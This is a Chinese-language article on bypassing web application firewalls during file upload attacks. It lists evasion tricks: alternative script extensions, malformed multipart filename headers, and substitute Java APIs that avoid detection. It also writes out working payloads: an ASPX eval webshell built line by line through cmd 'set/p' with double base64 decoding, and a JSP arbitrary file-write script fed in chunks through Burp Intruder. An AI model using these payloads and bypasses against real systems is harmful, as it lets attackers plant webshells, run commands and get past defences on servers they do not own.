文件上传突破waf总结
字数 760 2025-08-25 22:58:41
文件上传WAF绕过技术总结
前言
在当今网络安全环境中,Web应用防火墙(WAF)已成为文件上传漏洞利用的主要障碍。本文总结了多种有效的文件上传WAF绕过技术,涵盖扩展名检测和内容检测两大方面的绕过方法。
一、扩展名检测绕过
1. 使用黑名单之外的扩展名
- ASPX → ASHX
- JSP → JSPX、JSp(大小写混淆)
- 其他不常见但可执行的扩展名
2. 构造畸形数据包
(1) 删除Content-Type头
直接移除Content-Type字段可能使WAF无法正确识别文件类型
(2) 构造多个filename字段
示例变形:
Content-Disposition: form-data; name="file"; filename="100x100.jsp"; filename="test.jpg"
或
Content-Disposition: form-data; name="file"; filename="100x100.jsp
Content-Disposition: form-data; name="file"; filename="test.jpg"
(3) 畸形filename参数
- 添加多余双引号:
Content-Disposition: form-data; name="file"; filename="100x100.jsp""
- 其他特殊字符干扰
二、内容检测绕过
1. 图片马技术
将恶意代码嵌入图片文件中(虽然现代WAF已加强对此的检测)
2. 文件包含技术
- PHP远程文件包含
- Java反射调用外部JAR
- 注意:相关包含函数可能也会被检测
3. 敏感内容替换
通过替代函数/类实现相同功能:
Java示例
- 替换
Runtime.getRuntime().exec():
// 使用ProcessBuilder替代
new ProcessBuilder("cmd").start();
- 替换
FileOutputStream:
// 使用RandomAccessFile替代
RandomAccessFile randomFile = new RandomAccessFile(filePath, "rw");
randomFile.write(content.getBytes());
定位被检测内容的方法
- 逐步删除/修改代码段
- 测试哪部分触发WAF
- 查找替代实现方案
4. 分步上传技术
当无法直接上传完整shell时:
(1) 上传基础功能脚本
- 文件写入功能
- 基础命令执行功能
(2) 分步构建完整shell
Windows CMD示例:
>>d:\xxx\dao.aspx set/p=^<%@ Page Language="Jscript"%^>
>>d:\xxx\dao.aspx set/p=^<%ev
>>d:\xxx\dao.aspx set/p=al(System.Text.Encoding.GetEncoding(936).GetString(System.Convert.FromBase64String(System.Text.Encoding.GetEncoding(936).GetString(System.Convert.FromBase64String(Request.Item["zz"])))),"unsafe");%^>
Java分步写入示例:
- 上传基础写文件脚本:
<%@ page import = "java.io.*" %>
<%
RandomAccessFile randomFile = new RandomAccessFile(application.getRealPath("/")+ "/" + request.getParameter("f"), "rw");
long fileLength = randomFile.length();
randomFile.seek(fileLength);
randomFile.write(request.getParameter("c").getBytes());
%>
- 使用Burp Intruder分块写入:
参数 f=/shell.jsp&c=<分块内容>
结语
WAF绕过是一个持续对抗的过程,需要根据具体WAF行为灵活组合各种技术。本文介绍的方法在实际测试中已证明有效,但需注意不同WAF产品的检测机制可能有所不同,需要不断测试和调整策略。